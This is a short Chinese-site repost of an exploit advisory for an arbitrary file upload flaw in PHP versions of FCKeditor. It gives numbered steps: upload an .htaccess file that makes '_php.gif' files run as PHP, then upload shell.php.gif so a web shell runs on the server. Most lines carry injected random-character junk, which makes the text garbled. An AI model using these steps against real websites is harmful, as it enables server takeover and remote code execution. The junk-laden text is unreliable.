FCKeditor所有php版本Upload上传漏洞0 w2 y& r! V* w7 s
作者:佚名 来源:本站整理 发布时间:2011-10-25 7:39:07
) N. E& y; g- @: R% j0 Y减小字体 增大字体
4 P; m$ H ]: O0 G5 M; {$ V[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
# Z7 Z/ T, x7 R B[+] Date: 20114 @ E- n. o p- C
[+] Author : sinesafe.cn5 ]! C+ X$ w2 B9 o- `
[+] Website : WwW.sinesafe.cn; x2 c9 n& X) b" \6 A7 g4 A2 w
———————————————————
, H. z: y4 l; F# ~6 ]2 J1.create a htaccess file:3 B; P% G) T/ I; K4 y% s* ?7 ]) l
code:
$ H% q! D( e; N<FilesMatch “_php.gif”>+ Z& Q* T9 {8 V X. W2 B5 D+ v
SetHandler application/x-httpd-php
' H) ^0 f% E1 z* w+ [7 O/ w0 X</FilesMatch>
* F( M+ Y8 b1 t
2 Q" t( s% R6 v" ^8 m2.Now upload this htaccess with FCKeditor./ A# h0 B1 g# K$ k w* U
. N2 J j7 }/ J0 K0 s: @& f
http://www.sinesafe.cn/FCKeditor ... er/upload/test.html
* ], F0 K1 T& a9 W9 j' W6 a! G/ P7 }9 ^: O1 l8 W" X0 X1 L- H/ u- ?
http://www.sinesafe.cn/FCKeditor ... onnectors/test.html
1 V0 c# ^: @7 K, r Q3 [; p2 \; L( {9 j6 _# Q4 m9 h
———————————————————————————————-; {& o( |# k1 o( N' W# f! s% M
3.Now upload shell.php.gif with FCKeditor.
. {. I+ J0 z- e. o4.After upload shell.php.gif, the name “shell.php.gif” change to “shell_php.gif” automatically.8 h C* [* _' m
5.http://www.sinesafe.cn/anything/shell_php.gif
) q1 d# B# R0 w3 @3 Q1 L% d6.Now shell is available from server. | * h5 Y% U0 q# W& Z# s' b
. j$ j6 r( q% v b, K8 I* t3 z
: m9 F8 H+ E; o1 b) n7 G+ M5 W0 v |